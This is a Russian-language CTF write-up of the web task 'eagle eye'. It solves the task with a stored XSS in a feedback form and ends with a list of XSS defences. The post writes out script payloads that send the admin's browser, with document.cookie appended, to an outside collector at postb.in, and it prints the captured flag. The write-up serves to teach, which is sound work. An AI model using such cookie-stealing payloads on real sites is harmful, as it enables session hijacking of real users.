Перейти к основному содержанию
 

CTF web - eagle eye

CTF

Разбираем одиннадцатую задачку из нашего соревнования CTF. Задание называется eagle eye, дают 1000 баллов за флаг.

ctf

Забегая вперёд, скажу, что эта задачна на XSS уязвимость.

XSS (Cross-Site Scripting - межсайтовый скриптинг) - тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

Ссылки

Решение

Переходим на сайт задания.

ctf

У нас обычный сайт-визитка. Единственное, с чем можно взаимодействовать - это форма обратной связи. Попробуем XSS. В качестве внешнего сервера используем сайтик:

https://postb.in/

Пишем скриптик, который отправит нам на внешний сайт что-нибудь.

<script>location.href='https://postb.in/juk1M7LP/?hack=ctf';</script>

Если админ откроет письмо и наш код сработает, то мы перенаправим его куда хотим.

ctf

Смотрим результат:

ctf

Становится понятно, что комп админа не защищён от XSS. Как эксплуатировать уязвимость? Классический способ - утащить куки админа, вдруг там есть идентификатор сессии, который позволит нам войти в админку сайта? Тырим куки:

<script>location.href='https://postb.in/juk1M7LP/?hardhack='+document.cookie;</script>

ctf

Смотрим результат:

ctf

Нам упростили задачку, в куках админа находится сам флаг!

FLAG=evoctf{can_i_haz_ur_f1ag_p1z_cuz_i_am_b1ind}

Безопасность

  1. Защита на стороне сервера.
    1. Кодирование управляющих HTML-символов, JavaScript, CSS и URL перед отображением в браузере.
    2. Кодирование входных данных.;
    3. Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение. Nessus, например.
    4. Указание кодировки на каждой web-странице .
    5. Обеспечение безопасности cookies, которая может быть реализована путём ограничения домена и пути для принимаемых cookies, установки параметра HttpOnly, использованием TLS.
    6. Использование заголовка Content Security Policy, позволяющего задавать список, в который заносятся желательные источники, с которых можно подгружать различные данные, например, JS, CSS, изображения и пр.
  2. Защита на стороне клиента.
    1. Регулярное обновление браузера до новой версии.
    2. Установка расширений для браузера, которые будут проверять поля форм, URL, JavaScript и POST-запросы, и, если встречаются скрипты, применять XSS-фильтры для предотвращения их запуска.

Теги

Комментарии